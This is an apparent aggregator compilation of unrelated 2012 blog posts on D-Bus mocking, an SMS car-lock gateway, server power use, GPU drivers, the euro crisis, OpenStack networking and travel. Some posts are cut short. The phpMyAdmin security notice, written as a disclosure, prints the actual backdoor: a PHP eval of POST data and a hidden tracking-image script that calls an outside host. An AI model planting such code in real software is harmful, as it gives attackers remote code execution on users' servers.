I was working on writing tests for gnome-settings-daemon a week or so ago, and finally got blocked on being unable to set up upower/ConsoleKit/etc. the way I need them. Also, doing so needs root privileges, I don t want my test suite to actually suspend my machine, and using the real service is generally not suitable for test suites that are supposed to run during make check , in jhbuild, and the like these do not have the polkit privileges to do all that, and may not even have a system D-Bus running in the first place. So I wrote a little test_upower.py helper, then realized that I need another one for systemd/ConsoleKit (for the system idle property), also looked at the mock polkit in udisks and finally sat down for two days to generalize this and do this properly. The result is python-dbusmock, I just released the first tarball. With this you can easily create mock objects on D-Bus from any programming language with a D-Bus binding, or even from the shell. The mock objects look like the real API (or at least the parts that you actually need), but they do not actually do anything (or only some action that you specify yourself). You can configure their state, behaviour and responses as you like in your test, without making any assumptions about the real system status. When using a local system/session bus, you can do unit or integration testing without needing root privileges or disturbing a running system. The Python API offers some convenience functions like start_session_bus() and start_system_bus() for this, in a DBusTestCase class (subclass of the standard unittest.TestCase ). Surprisingly I found very little precedence here. There is a Perl module, but that s not particuarly helpful for test suites in C/Vala/Python. And there is Phil s excellent Bendy Bus, but this has a different goal: If you want to thoroughly test a particular D-BUS service, such as ensuring that it does the right thing, doesn t crash on bad input, etc., then Bendy Bus is for you (and python-dbusmock isn t). However, it is too much overhead and rather inconvenient if you want to test a client-side program and just need a few system services around it which you want to set up in different states for each test. You can use python-dbusmock with any programming language, as you can run the mocker as a normal program. The actual setup of the mock (adding objects, methods, properties, etc.) all happen via D-Bus methods on the org.freedesktop.DBus.Mock interface. You just don t have the convenience D-Bus launch API. The simplest possible example is to create a mock upower with a single Suspend() method, which you can set up like this from Python:

import dbus
import dbusmock
class TestMyProgram(dbusmock.DBusTestCase):
[...]
    def setUp(self):
        self.p_mock = self.spawn_server('org.freedesktop.UPower',
                                        '/org/freedesktop/UPower',
                                        'org.freedesktop.UPower',
                                        system_bus=True,
                                        stdout=subprocess.PIPE)
        # Get a proxy for the UPower object's Mock interface
        self.dbus_upower_mock = dbus.Interface(self.dbus_con.get_object(
            'org.freedesktop.UPower', '/org/freedesktop/UPower'),
            'org.freedesktop.DBus.Mock')
        self.dbus_upower_mock.AddMethod('', 'Suspend', '', '', '')
[...]
    def test_suspend_on_idle(self):
        # run your program in a way that should trigger one suspend call
        # now check the log that we got one Suspend() call
        self.assertRegex(self.p_mock.stdout.readline(), b'^[0-9.]+ Suspend$')

This doesn t depend on Python, you can just as well run the mocker like this:

python3 -m dbusmock org.freedesktop.UPower /org/freedesktop/UPower org.freedesktop.UPower

and then set up the mocks through D-Bus like

gdbus call --system -d org.freedesktop.UPower -o /org/freedesktop/UPower \
      -m org.freedesktop.DBus.Mock.AddMethod '' Suspend '' '' ''

If you use it with Python, you get access to the dbusmock.DBusTestCase class which provides some convenience functions to set up and tear down local private session and system buses. If you use it from another language, you have to call dbus-launch yourself. Please see the README for some more details, pointers to documentation and examples. Update: You can now install this via pip from PyPI or from the daily builds PPA. Update 2: Adjusted blog entry for version 0.0.3 API, to avoid spreading now false information too far.

SMS is used to lock car doors Copenhagen Carpool soon receive a new batch of electric cars. The new cars will contain a cellphone tied to the door locks, to only let into the car the member who booked its current timeslot. I am setting up the system to connect the cars with their booking calendar. The general idea is to

1. Connect a standard cellphone to a computer.
2. Forward sms messages received on the phone to the calendar.
3. Send messages from the calendar through the phone.
4. Leave the system in a corner, turned on 24/7.

Most of my work is in trying to avoid ways things might go wrong which so often happens when computers are involved. What if

• messages are delayed or lost?
• a chain of messages arrive out of order?
• messages are sent faster than they can be delivered?

Reliable conversation Human conversation is most reliable when using plain speak. Slang, sarcasm or jokes raise the risk of misunderstandings. This is quite similar in computer conversation. When surfing the Web, you normally "GET" a web page or "POST" new data like a search query. The words "GET" and "POST" are "plain speak" of the World Wide Web defined as a principle called "REST" or "RESTful design". I use the Kannel tool to talk directly to the phones. When an sms arrives on the phone, Kannel "GET"s it to the calendar. That's weakly expressed better if it had "POST"ed the message instead. Kannel is a quite reliable tool, but not RESTful in conversations. That requires extra attention at other parts of the setup to avoid breakage in special situations. That worries me.

Each car has a blog So I setup a gateway from Kannel to RESTful conversation. And choose classic blogging as style of conversation:

• The carpool fleet is a blogroll
• each car has a blog
• each sms emitted from a car is a blog entry

Blogging comes in two flavors, RSS and Atom. Both cover distribution of messages. I use Atom because it is newest and coolest, and because it also covers creating and editing meesages with the AtomPub extension. AtomPub allows the calendar to create an empty message which then triggers an sms from the car which "fills it in." AtomPub also let the calendar "PUT" tags onto existing messages, to mark them as processed, read etc., and let an admin or a cleanup script "DELETE" outdated entries or blogs. The words "PUT" and "DELETE" are RESTful conversation as well.

The system is dancing! My sms-to-blog gateway is written in Perl, using the Dancer toolkit. Dancer makes it simple to setup a RESTful web conversation, and when I contacted the authors on IRC, they swiftly added support for the non-RESTful quirk that I needed. My sms-to-blog gateway is not yet ready, but basic routines work. The project is public, and code is Free Software.

Scott Adams has an interesting idea for political debates he calls Fact Bubbler [1]. It sounds implausible the first time you read it, but then so did Wikipedia. Arstechnica has an interesting article on software defined radio [2]. This could change many things. The Nieder Family has another update on the way patents threaten their daughter s ability to communicate [3]. Also Apple is making things worse by taking pre-emptive strikes against iPhone apps which are involved in legal disputes never use an iPhone (or other proprietary system) for anything important if you have a choice. In more positive news crowd-funded gene sequencing has found an explanation for Maya Nieder s developmental delays [4]. This will revolutionise medicine! Steven Cherry of IEEE Spectrum has an interesting interview with Peter Cappelli about the difficulties that computer and engineering companies have in hiring talented people [5]. The Guardian has an interesting article about the non-profit investigative reporting organisation ProPublica [6]. See the ProPublica.org site for some quality news reports [7]. Michael O.Church wrote an interesting and insightful article about the fate of a Just a Programmer in a startup funded by Venture Capitalists [8]. It doesn t sound good at all. EyeNetra is developing a smart-phone based system for testing eyes [9]. It s apparently possible to manufacture glasses for $0.75 so the cost and difficulty of performing eye tests is the main factor that prevents poor people in developing countries from getting glasses. So a cheap portable eye testing system is going to help many people get the glasses they need. Bryan Gardiner wrote an interesting article for Wired about the Gorilla glass that is used in most mobile phones and tablets [10]. Maco wrote an interesting article about crochet and reverse-engineering along with a Python program to print a crochet pattern [11]. I wonder whether anyone has tried to make a crochet robot, something like a 3D printer but which crochet s things rather than printing them. Holding the wool would be a real challenge, it s not nearly as easy as printing on something that s stuck down and incapable of movement.

1. [1] http://dilbert.com/blog/entry/fact_bubbler/
2. [2] http://arstechnica.com/tech-policy/2012/07/how-software-defined-radio-could-revolutionize-wireless/
3. [3] http://niederfamily.blogspot.com.au/2012/06/silencing-of-maya.html
4. [4] http://blog.ted.com/2012/07/17/newly-discovered-gene-may-explain-4-year-olds-rare-disease-thanks-to-ted-fellow-jimmy-lin/
5. [5] http://spectrum.ieee.org/podcast/at-work/tech-careers/why-bad-jobsor-no-jobshappen-to-good-workers
6. [6] http://www.guardian.co.uk/technology/2012/jul/02/propublica-investigative-reporting
7. [7] http://www.propublica.org/
8. [8] http://michaelochurch.wordpress.com/2012/07/08/dont-waste-your-time-in-crappy-startup-jobs/
9. [9] http://eyenetra.com/
10. [10] http://www.wired.com/wiredscience/2012/09/ff-corning-gorilla-glass/all/
11. [11] http://ubuntulinuxtipstricks.blogspot.com.au/2010/10/algorithms-reverse-engineering-and.html

Related posts:

1. Links April 2012 Karen Tse gave an interesting TED talk about how to...
2. Links May 2012 Vijay Kumar gave an interesting TED talk about autonomous UAVs...
3. Links July 2012 The New York Times has an interesting article about hacker...

I ve just read Diego s response to an ill-informed NYT article about data-center power efficiency [1]. This makes me wonder, how much server use does each person have? Google Almost everyone uses Google, most of us use it a lot. The main Google product is also probably the most demanding, their search engine. In a typical day I probably do about 50 to 100 Google searches, that sounds like a lot, but half of them would probably be for one topic that is difficult to find. I don t think that I do that many Google searches because I generally know what I m doing and when I find what I need I spend a lot of time reading it. I m sure that many people do a lot more. Each Google search takes a few seconds to complete (or maybe more if it s an image search and I m on a slow link), but I think it s safe to assume that more than a few seconds of CPU time are involved. How much work would each Google search take if performed on a single system? Presumably Google uses the RAM of many systems as cache which gives a result more similar to a NUMA system than one regular server working for a longer time so there is no way of asking how long it would take to do a Google search with a single server. But I m sure that Google has some ratio of servers to the rate of requests coming in, it s almost certainly a great secret, but we can make some guesses. If the main Google user base comprises people who collectively do an average of 100 searches per day then we can probably guess at the amount of server use required for each search based on the number of servers Google would run. I think it s safe to assume that Google doesn t plan to buy one server for every person on the planet and that they want to have users significantly outnumbering servers. So even for core users they should be aiming to have each user only take a fraction of the resources that one server adds to the pool. So 100 searches probably each take more than 1 second of server use. But they almost certainly take a lot less than 864 seconds (the server use if Google had one server for every 100 daily requests which would imply one server for each of the heavier users). Maybe it takes 10 seconds of server use (CPU, disk, or network whichever is the bottleneck) to complete one search request. That would mean that if the Google network was at 50% utilisation on average then they would have 86400*.5/10/100 == 43 users per server for the core user base who average 100 daily requests. If there are 80M core users that would be about 2M servers, and then maybe something like another 4M servers for the rest of the world. So I could be using 1000 seconds of server time per day on Google searches. I also have a Gmail account which probably uses a few seconds for storing email and giving it to Fetchmail, and I have a bunch of Android devices which use Google calendars, play store, etc. The total Google server use on my behalf for everything other than search is probably a rounding error. But I could be out by an order of magnitude, if it only took 1 second of server use for a Google search then I would be at 100 server seconds per day and Google would only need one server for every 430 users like me. Google also serves lots of adverts on web sites that I visit, I presume that serving the adverts doesn t take much resources by Google standards. But accounting for it, paying the people who host content, and detecting fraud probably takes some significant resources. Other Big Services There are many people who spend hours per day using services such as Facebook. No matter how I try to estimate the server requirements it s probably going to be fairly wrong. But I ll make a guess at a minute of server time per hour. So someone who averages 3 hours of social networking per day (which probably isn t that uncommon) would be using 180 seconds of server time. Personal Servers The server that hosts my blog is reasonably powerful and has two other people as core users. So that could count as 33% of a fairly powerful server in my name. But if we are counting server use per USER then most of the resources of my blog server would be divided among the readers. My blog has about 10,000 people casually reading it through Planet syndication, that could mean that each person who casually reads my blog has 1/30,000 of a server allocated to them for that. Another way of considering it is that 10% of a server (8640 seconds) is covered by me maintaining my blog and writing posts, 20% is for users who visit my blog directly, and 3% is for the users who just see a Planet feed. That would mean that a Planet reader gets 1/330,000 of a server (250ms per day) and someone who reads directly gets 1/50,000 of a server (1.72s per day) as I have about 10,000 people visiting my blog directly in a month. My mail server which is also shared by a dozen or so people (maybe that counts as 5% of a server for me or 4320 seconds per day). Then there s the server I use for SE Linux development (including my Play Machine) and a server I use as a DNS secondary and a shell server for various testing and proxying. Other People s Servers If every reader of a Planet instance like Planet Debian and Planet Linux Australia counts as 1/330,000 of a server for their usage of my blog, then how would that count for my own use of blogs? I tend to read blogs written by the type of people who like to run things themselves, so there would be a lot of fairly under-utilised servers that run blogs. Through Planet Debian and Planet Linux Australia I could be reading 100 or more blogs which are run in the same manner as mine, and in a typical day I probably directly visit a dozen blogs that are run in such a manner. This could give me 50 seconds of server time for blog reading. Home Servers I have a file server at home which is also a desktop system for my wife. In terms of buying and running systems that doesn t count as an extra server as she needs to have a desktop system anyway and using bigger disks doesn t make much difference to the power use (7W is the difference between a RAID-1 server and a single disk desktop system). I also have a PC running as an Internet gateway and firewall. Running servers at home isn t making that much of an impact on my computer power use as there is only one dedicated 24*7 server and that is reasonably low power. But having two desktop systems on 24*7 is a significant factor. Where Power is Used/Wasted No matter how things are counted or what numbers we make up it seems clear that having a desktop system running 24*7 is the biggest use of power that will be assigned to one person. Making PCs more energy efficient through better hardware design and better OS support for suspending would be the best way of saving energy. Nothing that can be done at the server side can compare. Running a server that is only really used by three people is a significant waste by the standards of the NYT article. Of course the thing is that Hetzner is really cheap (and I m not contributing any money) so there isn t a great incentive to be more efficient in this regard. Even if I allocate some portion of the server use to blog readers then there s still a significant portion that has to be assigned to me for my choice to not use a managed service. Running a mail server for a small number of users and running a DNS server and a SE Linux development server are all ways of wasting more power. But the vast majority of the population don t have the skills to run their own server directly, so this sort of use doesn t affect the average power use for the population. Nothing else really matters. No matter what Google does in terms of power use it just doesn t matter when compared to all the desktop systems running 24*7. Small companies may be less efficient, but that will be due to issues of how to share servers among more people and the fact that below a certain limit you can t save money by using less resources particularly if you pay people to develop software. Conclusion I blame Intel for most of the power waste. Android phones and tablets can do some amazing things, which is hardly surprising as by almost every measure they are more powerful than the desktop systems we were all using 10 years ago and by many measures they beat desktop systems from 5 years ago. The same technology should be available in affordable desktop systems. I d like to have a desktop system running Debian based on a multi-core ARM CPU that can drive a monitor at better than FullHD resolution and which uses so little power that it is passively cooled almost all the time. A 64bit ARM system with 8G of RAM a GPU that can decode video (with full Linux driver support) and a fast SSD should compete well enough with typical desktop systems on performance while being quiet, reliable, and energy efficient. Finally please note that most of this post relies on just making stuff up. I don t think that this is wrong given the NYT article that started this. I also think that my estimates are good enough to draw some sensible conclusions.

• [1] http://blog.diegodoval.com/2012/09/23/a-lot-of-lead-bullets-a-response-to-the-new-york-times-article-on-data-center-efficiency/

Related posts:

1. Name Server IP and a Dead Server About 24 hours ago I rebooted the system that runs...
2. Google Custom Search Engine I ve just been experimenting with Google Custom Search [1]. Below...
3. Google Server Design Cnet has an article on the design of the Google...

Yesterday, phpMyAdmin security team has been notified about backdoor being distributed together with phpMyAdmin zip file on one of SourceForge mirrors. We quickly analyzed the issue and confirmed that the backdoor is indeed present in phpMyAdmin-3.5.2.2-all-languages.zip file. It allowed anybody to execute arbitrary PHP code, there was file called server_sync.php which simply called eval on passed data:

<?php @eval($_POST['c']);?>

In addition to this, javascript code has been included, which could allow attacker to track vulnerable installations:

var icon ;
icon = document.createElement("img");
icon.src="http://logos.phpmyadmin-images.net/logo/logos.jpg";
icon.width=0;
icon.height=0;
document.body.appendChild(icon);

All in all looks like simple, but quite effective way to install backdoor, if they would be able to spread this more widely. We've immediately released PMASA-2012-5 to notify our users. Luckily this was spot quite fast (looking at used domain, the exploit could not be alive before 22th September 2012) and not on much frequent mirror (based on SourceForge official statement about 400 users have downloaded the file with backdoor). What still remains unclear is whether this was really only targeted on phpMyAdmin, or there were more modified file on this mirror (SourceForge hosts thousands of projects). I've randomly tried few our other download options from this mirror and none of them was affected, but the mirror was taken offline before I could do some more systematic analysis, so this question can now be answered only by SourceForge.

Filed under: English Phpmyadmin 0 comments Flattr this!

The development of Armadillo 3.4.* continues with bug fixes and more sparse matrix support. Conrad release 3.4.2 this morning. I wrapped up the corresponding RcppArmadillo 0.3.4.2 before leaving for work, and this version should now have all CRAN mirrors. Once again no R level or interface changes were, the upstream changes are summarized below.

Changes in RcppArmadillo version 0.3.4.2 (2012-09-25)

• Upgraded to Armadillo release 3.4.2
  • minor fixes for handling sparse submatrix views
  • minor speedups for sparse matrices

Courtesy of CRANberries, there is also a diffstat report for 0.3.4.2 relative to 0.3.4.1 As always, more detailed information is on the RcppArmadillo page. Questions, comments etc should go to the rcpp-devel mailing list off the R-Forge page.

in this series of articles, I will be talking in depth about power management through the NUT project, its packaging on Debian, how to use it in general and how I see it being part of the GreenIT thing. So, let's start with an introduction: NUT is a Free Software (GPL v2+ and 3 to be precise), originally created for power protection using UPS, from home to data-centers:
To shortly describe the main features, I would say that NUT:

• has the most comprehensive list of supported devices: 127 manufacturers and thousands of devices,
• is modular and flexible, to address all possible use cases,
• weight a few hundreds Kb,
• runs on any system, is packaged for the major ones, and is bundled with most (if not all) Linux,
• provides tons of features,
• is network oriented: you can access uniquely devices all around the world, in a secured way,
• is optimized for integration and interfacing,
• is supported by many 3rd party software,
• is already embedded in several devices, found in home, enterprises and datacenters.

NUT used to stand for Network UPS Tools. That is, a software for talking to your UPS and shutting down your systems when needed. This definition is a bit limited nowadays, since NUT supports 4 types of power device:

• UPS, obviously, since the origin.
• PDU (power distribution units), for 4 years. These are somehow big intelligent power switches, that you find in datacenters. These allow to switch on and off specific outlets and / or to measure power consumptions. The latter is more interesting for Green IT and PUE calculation. But this is the topic of another article
• SCD (solar controller device), for more than 2 years. NUT only supports 1 SCD (IVT SCD series), but support for another can be very easily added.
• PSU (power supply unit), for more than a year. This support is limited to server PSU, that are IPMI compatible.
• meters and gensets are also new device types that are considered. Meters would provide more measurement capabilities, still mainly for PUE calculation, while gensets.

Considering this, is the name Network UPS Tools still suitable? Not really! But the acronym NUT is well known! So, for the time being, I just stick using it, and focus on other more important things, until a better opportunity (ideas and comments are welcome!). That said, what can you do exactly with NUT? Currently, you can:

• monitor and manage UPS(s) that protect(s) your system(s), with no redundancy limitation,
• manage your PDU, to power on / off your systems (not servers directly!), and measure power consumptions,
• monitor and manage your servers power supplies, power these on / off, and measure power consumption.
• monitor all these links of the powerchain, that feed your servers.
• discover all USB, SNMP and IPMI supported devices, locally or on the network.

All the above is available in a standardized way:

• the manufacturer name will always be in the variable called device.mfr. The first outlet will always be outlet.1, whatever the device is (UPS or PDU here),
• Tons of command line tools, libraries / language bindings and software are available to help in NUT integration! You can even make your own NUT client implementation very easily and quickly (experiences reports are ~ 2 hours).

Well, this is already a long and dense post, so I will stop there for today. In the next post, we will have a deeper dive into using NUT, for various use cases: submit yours if you can cheers,
-- Arno

Remember when Linus Torvalds lambasted NVidia for not supporting their Optimus technology in their Linux drivers for half a decade and counting? Well, I went out and bought an AMD/ATi video card as mu upgrade. And you know what? Its Linux drivers are far, far worse than NVidia.
1. Most of the games I had working fine on NVidia, do not work on AMD. And those that do suffer far more visual corruption, synchronization bugs (like bottom 40% of the screen rendering half a second after the top 60%), strange visual artifacts (weird triangles popping out of everywhere) and crashes, lots of crashes.
2. There were crashes with NVidia too, but NVidia never managed to crash Compiz along with it or crash the whole X server or lock up the system so far that only SysRq works or even lock up the system so far that only powering it off manually works.
3. And then there is the configuration atrocity. Apparently AMD is too good to store its configuration in /etc/X11/xorg.conf. Or even to document the supported options there. Instead they have their own (also undocumented) configuration file in /etc/ati folder. And it is undocumented because it is a cryptic mess and the only supported way to change it is to use their tools aticonfig and amdccccle. The command line tool is almost reasonable, except it is also barely documented. For example, one of my screens somehow was always stared at 1920 1080@30Hz. There were 3 different ways to specify default resolution, but none of them used or saved the refresh rate. And when I changed it in the GUI tool the refresh rate did change, but it was never saved. Oh there nowhere is a save button. It just works , except when it doesn t. Like: both of my screens for some reason started with huge black borders around the screen, I finally narrowed it down to the GUI setting overscan which defaulted to 10%. Ok, so I change it, it works, but next time I reboot, the overscan is back! I had to find an undocumented invocation of the aticonfig that would change the default value to 0%. Why did this one setting not save? Oh and fun note the refresh rate of that second screen was correct on the login screen, but it then swiched back as I logged in. Fun, huh?
4. Even at basic desktop tasks fglrx if inferior to not only the free driver, but also to the nvidia driver even simple scrolling of a large folder in nautilus seems to tax the 200$ card to its limits the bottom row blinks into place almost half a second after I stop scrolling. Another example with NVidia when I switch my TV to the HDMI input from the card, the sound starts at the same moment as the picture, however with AMD the sound only decides to show up 10-15 seconds later. And sometime it does not show up at all, unless I start the AMD Control GUI tool and only then the sound shows up 15 seconds later (without doing anything in the GUI). It may be that one part of AMD is better than NVidia at talking to free driver developers, but another part is so much worse at actual technical work of writing a driver, it is not even funny. They are busy reinventing the bycicle of configuration and display management, while their core driver is just not good enough. TL/DR: Anyone wanna buy a HD 6850 cheaply off my hands? Crossposted to Google+ https://plus.google.com/u/0/107099528362923100900/posts/6PC7RFQpm8K P.S. I also noticed the color difference with NVidia there was no difference between colors on my LCD TV and my IPS monitor, but with AMD there is a huge difference, the TV color just got washed out. I guess there is no proper color calibration support in the AMD driver? Update: I have managed to return the HD 6850 to the shop where I got it from (thanks to a nice law requiring web shops to take stuff back within 14 days no questions asked) and got the new NVidia GeForce GTX 660 instead. I had to build an updated NVidia driver (304.48 from this post, just like here or here) but other than that it was smooth and painless and everything is working great again. Only even faster

Today was a black day for democracy in Germany. The German constitutional court ruled in favour of the European Stability Mechanism. In combination with last week s announcement by the European Central Bank to purchase government bonds without limits (breaking the No-Bail-Out clause at the core of their mandate more obviously and irreversably than ever before), the German people have lost a good deal of democracy today. Why? you may ask because from now on, fiscal and financial policy will be made in Brussels, by people enjoying full immunity, but who are not elected democratically by the European people, let alone the Germans, and they will freely decide over who has to pay and be liable for whom. I am talking about people like Klaus Regling, who was already involved the very first time the Maastricht Criteria were violated. He is now at the front of the largest and most powerful financial weapon ever conceived. With immunity. And people like Mario Draghi, whom I would possibly call the most corrupt person I know. His announcement to save the Euro at whatever cost accidentally came only a day before his motherland Italy had to go to the market for more money and was able to place a bond at such ridiculously low interest rates that anyone who s kept up to speed with Italy s development had to rightfully ask how that was possible. While in the past, for whatever reason, the European people have let the ECB get by saying that they are not bailing out countries when they buy bonds on the secondary market (wtf!), they have finally dropped that restriction (the law). And as of today, the ESM is ready to go, along with the fiscal pact. Germany is now liable for more than quarter of all of the Eurozone s past and future debts. And no citizen will be able to have any more influence in this, or reverse it. Budget, fiscal policy and currency control are forever gone. Not that parliamentarian democracies were ever direct. Yet, in the past, one could at least vote for those people whose promises one was inclined to believe the most. You can still do that in the future, but those people won t be able to influence fiscal or financial policy anymore. There is no way back. The ESM and its employees enjoy full immunity, and the ESM is forever-binding. There is no exit clause. Thanks to the ECB s law breaking and the ESM, which I consider highly unconstitutional, at least in Germany, Eurozone-countries may refinance their debts at interest rates that are in no way related to their ability to pay back loans. All other countries foremost Germany are henceforth liable for others debts. The fundamental rule of the EU that no country would have to stand up for another country, is gone with the wind. Within an hour, the markets reacted. Germany, which previously had to pay negative interest (a sign of stability) saw interests on its bond shoot up. And Spain, Portugal, Greece and others who couldn t previously refinance their old debts, are now getting fresh money cheaper than ever. Spain s president Rajoy today didn t even bother beating around the bush anymore, he s now going to apply for fresh money but won t bother with any saving schemes or other restructurings. Monti in Italy has suggested the same. Wouldn t you take money if you were offered it for free, without the need to pay it back? This is more than inflation, in my opinion. What is currently happening in Europe is active depreciation of individual wealth. Our heads of state are actively working against the people. The Euro has lost all credibility and everyone knows it. It is only a question of time until it will tremble and fall. Meanwhile, the market celebrates and continues their gambles while they still can, on the backs of our currency and our wealth. Most affected are the people who have savings in Euros, whose life insurances are decreasing in worth and who cannot afford to diversify into other asset classes or currencies. On the other hand, those who let their money do the work are being saved. Whoever previously invested into bonds of struggling states, hoping to reap massive interest gains, is now proven right. Brussels has eliminated the risk factor. What kind of message does this send??? Hands up if you thought that our politicians are even interested in closing the rapidly widening gap between rich and poor. Really? That s naive. The Eurozone is corrupt, and our currency has never been as virtual as today. Nobody can say whether saving the Euro at all cost is the right thing and noone knows whether what s currently happening is just bad. I would have wished that our politicians had taken the crisis as an incentive to fix the system in the interest of the people and with a long-term focus:

• Europe should have returned to the law it gave itself, without exceptions: The No-Bailout-Clause, as well as the Masstricht Criteria. In general, you cannot spend more than you earn, and this principle seems to have been forgotten entirely, and those who had most actively forgotten it, are being rewarded.
• A shared currency requires a shared fiscal policy. This policy has to be in place before the currency, the currency can only ever be the result of a common strategy. The EU has done this the wrong way around and it failed. Trying to put a fiscal policy in place now is patchwork that is guaranteed to fail. And putting fiscal policy into the hands of undemocratically chosen people in Brussels is not representing the people.

But on the contrary! Europe s policiticans are making it crystal clear that the foundation upon which it was built, the laws and rules, the promises and guarantees, no longer apply. The people were not asked. The promises once made were broken. Our politicians have ruled over our heads. More debts are being made, and more debts to pay off debts, and so on. It s long gotten out of control, now the process is institutionalised. I feel sorry for our kids. I find it irresponsible what is being done to them (in addition to the way we rape the environment). I also feel deeply with the people in the struggling countries who are being screwed by the crisis and are not at fault. What our politicians are doing is unfortunately not going to help long term. The problems are just postponed, and with every day, the inevitable crash will be more painful. I am sorry. Today is a black day for democracy. We have lost souvereignity. We have lost control over our currency. We have lost our budget rights. And I have lost my faith in the last instance of the German government that I trusted. As of today, I know that the German constitutional court is nothing more than a puppet in the hands of the politicians (who are themselves puppets of Brussels and the banks). The limit they imposed (Germany s liability must not increase beyond 190 billion Euros without the federal parliament s consent) is worthless. Soon the politicians will explain to us why it s inevitable that we must raise this limit. Not that the people could prevent it, but still I had hoped for a fundamental ruling. They should not have touched numbers. The EU had a no-bailout-clause from day one. It was conditional from the start. If one of the fundamental principles of a contract is broken, the contract becomes invalid. Not only did I expect the court to rule against socialised debt, I would have wished them to go a step further. The German national bank gave up control over the currency to the ECB only because the ECB incorporated the principles of the German national bank. Once the ECB overturned those principles, Germany should have reclaimed their souvereignity. But noone else in Europe would have wanted that. Merkel became a puppet herself. I am grateful that our daughter has dual citizenship. NP: Porcupine Tree: Live at Atlanta 2010

I just posted the following question to ServerFault .and then realised there might be people out there in magical internetland who know the answer but never visit any of the SO sites, so i ve posted it here too. Feel free to respond here on on serverfault.

---

In a recent upgrade (from Openstack Diablo on Ubuntu Lucid to Openstack Essex on Ubuntu Precise), we found that DNS packets were frequently (almost always) dropped on the bridge interface (br100). For our compute-node hosts, that s a Mellanox MT26428 using the mlx4_en driver module. 1. Use an old lucid kernel (e.g. 2.6.32-41-generic). This causes other problems, in particular the lack of cgroups and the old version of the kvm and kvm_amd modules (we suspect the kvm module version is the source of a bug we re seeing where occasionally a VM will use 100% CPU). We ve been running with this for the last few months, but can t stay here forever.

net.bridge.bridge-nf-call-arptables = 0
net.bridge.bridge-nf-call-iptables = 0
net.bridge.bridge-nf-call-ip6tables = 0

---

Update 2012-09-12: Something I should have mentioned earlier this happens even on machines that don t have any openstack or even libvirt packages installed. Same hardware, same everything, but with not much more than the Ubuntu 12.04 base system installed. On kernel 2.6.32-41-generic, the bridge works as expected. On kernel 3.2.0-29-generic, using the ethernet interface, it works perfectly.
Using a bridge on that same NIC fails unless net.bridge.bridge-nf-call-iptables=0 So, it seems pretty clear that the problem is either in the mellanox driver, the updated kernel s bridging code, netfilter code. or some interaction between them. Interestingly, I have other machines (without a mellanox card) with a bridge interface that don t exhibit this problem. with NICs ranging from cheap r8169 cards to better quality broadcom tg3 Gbit cards in some Sun Fire X2200 M2 servers and intel gb cards in supermicro motherboards. Like our openstack compute nodes, they all use the bridge interfaces as their primary (or sometimes only) interface with an IP address they re configured that way so we can run VMs using libvirt & kvm with real IP addresses rather than NAT. So, that indicates that the problem is specific to the mellanox driver, although the blog post I mentioned above had a similar problem with some broadcom NICs that used the bnx2 driver. openstack, bridging, netfilter and dnat is a post from: Errata

My first morning in India I woke up very late in the house of Pavithrans parents. Pavithran was out organizing events for us, his father was at work, leaving me with his mother. She spoke little english - unsure if it was lack of skills or she was humble, or perhaps she just felt as shy as me in the situation. How to, ahem, do your thing at a restroom when there is no toilet paper but instead a bucket of water? I decided to not yell for help but use my imagination. How to eat breakfast local style? I knew from dinner previous night with Pavithran that local custom was to eat with my hands and that it (lucky for me) was tolerated in India to use left hand, so turned down the kind offer for a spoon. But were I supposed to mix rice with all the curries? Or one at a time? In which order? What if a curry was too hot to dip my fingers into? Was the liquid stuff to drink or to mix with the rice or eat afterwards? I asked for help, and first she just smiled at my alien useless language and then when I persisted, she patiently demonstrated with her hands in my food how to do. The only natural thing to do, really, and I dearly appreciate her help and patiency. But wauw, it was mind-blowing to me! Since early childhood, fingers in food is a forbidden thing: "Don't play with the food!". On top of that, having someone else handle my dish while at the table is something I associate with being very old and needing to be spoon-fed. In the afternoon we went for a small hike to an old stone fortress in the middle of Khammam - with a great view of the sun setting. Next day we went to Sarada Institute of Technology & Science where I gave my first talk to about 100 students. I had intended to provide concrete facts on Debian generally and on my pet project, Debian Pure Blends, but then the night before decided to radically shift focus to their situation in the early twenties - as best as I could imagine it. Pavithran had clearly expected a different style talk, but I liked it and believe it was received well by the audience as well. The teacher responsible for the event, Bhukya Jabber, afterwards asked for hints on running Debian at their computer lab. I suggested to not lock down access but instead make it easy to reinstall, and he explained how he was quite interested in a larger degree of learning-by-doing (which I had also promoted in my talk) but was constrained by curriculum dictated higher up in the educational system. Late that day Pavithrans father introduced me to CPM Khammam - the local offices and community center of the Communist Party - and to a colleague of his at the place, N. N. Rao. I instantly fell in love with the place and its atmosphere, and now have an open invitation to come back to spend 1-2 months to study and to collaborate with other users of the place (including some kids hosted there) on Free Software. Next morning we headed back by train to Hyderabad I am still amazed how radical it feels sticking my fingers into food. Not the physical feeling (I am not that disconnected from my body) but similar to a discovery I had as a teenager: After 7 years of piano lessons (and numerous other instruments less patiently) I gave up because I felt it was too difficult expressing personality through the instrument. After that I exclusively sang - as I had always done, but only now did I recognize my voice as a serious musical instrument. Similarly I now realized that eating with the fingers is not just yet another eating style like fork+knife or sticks - it is the natural one. Obviously, in hinsight. This text is part of my Asia 2011 scriblings.

This is not the kind of place I live, though I don't mind a visit. I'm not bothered by a more rural life, I thrive on peace and quiet, and am not bothered by needing to haul my water, split firewood, or spend an hour just mowing my driveway. I bought a GPS the other day, and it doesn't know where my driveway is..
or where the road leading to my driveway is..
or even about the highway leading to that road!
The only thing that really bothers me about living here off the map is that I'm in the middle of a food desert too. The nearest semi-decent grocery store and produce market are 40 minutes away. There's one restaurant worth eating at, and while a very congenial place to eat rustic food while watching the river flow by, it serves almost no vegetables. Adding to the problem, my fridge is a rather expensive propane model, which is about half a normal size, and has no freezer. Managing a healthy meal plan is a constant struggle, though I do have time to cook, at least, thanks to not having the kind of commute that is typical around here. Well, the food desert was my only real problem. Now I can add to that the UPS emergency. A week ago, a package left Shenzen China for here. It quickly passed through Anchorage Alaska, and with a few days had arrived an hour and a half from here. Getting it here has taken the whole rest of the week.
